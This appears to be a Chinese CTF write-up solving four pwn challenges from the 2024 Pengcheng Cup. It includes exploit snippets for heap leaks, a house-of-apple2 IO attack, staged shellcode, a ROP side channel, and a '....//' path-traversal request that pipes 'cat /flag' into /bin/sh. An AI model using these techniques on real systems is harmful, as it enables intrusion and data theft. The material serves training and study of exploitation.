2024鹏城杯Pwn方向超详细全部题解
字数 1079 2025-08-20 18:17:53
2024鹏城杯Pwn方向题解教学文档
1. babyheap
题目分析
- 漏洞点:
edit函数固定长度为0x400,存在堆溢出。 - 环境:
libc2.35,需通过house of apple2攻击IO结构。 - 利用步骤:
- 泄露heap基址:通过
add(0)触发free后重新分配,读取残留的堆地址。 - 泄露libc基址:填满
tcache后释放到unsorted bin,通过show获取main_arena地址。 - 构造IO攻击链:利用
edit溢出修改_IO_2_1_stderr的_wide_data和vtable,劫持控制流。
- 泄露heap基址:通过
关键代码
# 泄露heap基址
add(0, 0, b'') # 触发free后残留heap地址
show(0)
heap_base = u64(p.recv(5).ljust(8, b'\x00')) << 12
# 泄露libc基址
for i in range(8): add(i, 0xa0, b'a') # 填满tcache
delete(7) # 进入unsorted bin
show(7)
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 0x21ace0 - 0x100
# 构造IO链
payload = p64(system_addr) + p64(heap_base + 0x8d0) # 伪造_IO_FILE和_wide_data
edit(0, payload) # 溢出修改
2. cool_book
题目分析
- 漏洞点:
add函数的idx未严格校验,导致越界覆盖返回地址。 - 利用步骤:
- 覆盖返回地址:通过越界写入堆地址,劫持控制流。
- 执行shellcode:堆内存可执行,但
read仅允许0x10字节,需分阶段:- 第一阶段:写入短
shellcode调用read读取更多数据。 - 第二阶段:写入完整
shellcode(open/read/write flag)。
- 第一阶段:写入短
关键代码
# 覆盖返回地址
add(0x31, 0x10, asm('xor edi, edi; mov rdx, 0x1000; syscall')) # 越界写入
# 第二阶段shellcode
shellcode = asm(shellcraft.open('flag') + shellcraft.read(3, 'rsp', 0x100) + shellcraft.write(1, 'rsp', 0x100))
p.send(shellcode)
3. vm
题目分析
- 漏洞点:
swapreg0指令的idx2未校验,导致寄存器越界读写。malloc/free指令可操作堆内存。
- 利用步骤:
- 泄露libc:释放大块到
unsorted bin,通过越界读取main_arena地址。 - 泄露栈地址:利用
libc的environ变量获取栈地址,计算返回地址。 - 侧信道爆破flag:通过ROP构造
cmp指令比较字符,利用非法地址访问崩溃特性判断字符是否正确。
- 泄露libc:释放大块到
关键ROP链
# 侧信道核心逻辑
mg1 = libc_base + 0x19244e # cmp al, [rsi-1]; jne 0x1925c5
mg2 = libc_base + 0x1142bb # mov qword [rax], -1; xor eax, eax
write_rop(char, idx): # 写入ROP比较flag字符
# 构造open/read/cmp链
# 若字符不匹配,触发mov [rax], -1(rax为非法地址)导致崩溃
4. ez_upload
题目分析
- 漏洞点:
handle_url函数对../的过滤可被....//绕过(双写绕过)。bbbb函数通过pipe和dup2重定向子进程输入,可执行任意命令。
- 利用步骤:
- 目录穿越:通过
....//绕过过滤,访问/bin/sh。 - 命令注入:
POST请求数据作为子进程输入,执行cat /flag。
- 目录穿越:通过
关键请求
requests.post("http://target/....//....//bin/sh", data="cat /flag\n")
总结
- 堆利用:关注
libc2.35的IO攻击链构造(如house of apple2)。 - 沙盒绕过:侧信道需结合
ROP和崩溃行为分析。 - Web与系统结合:
httpd类题目注意文件权限和路径穿越的复合利用。
注:实际利用时需根据远程环境调整偏移量和gadget。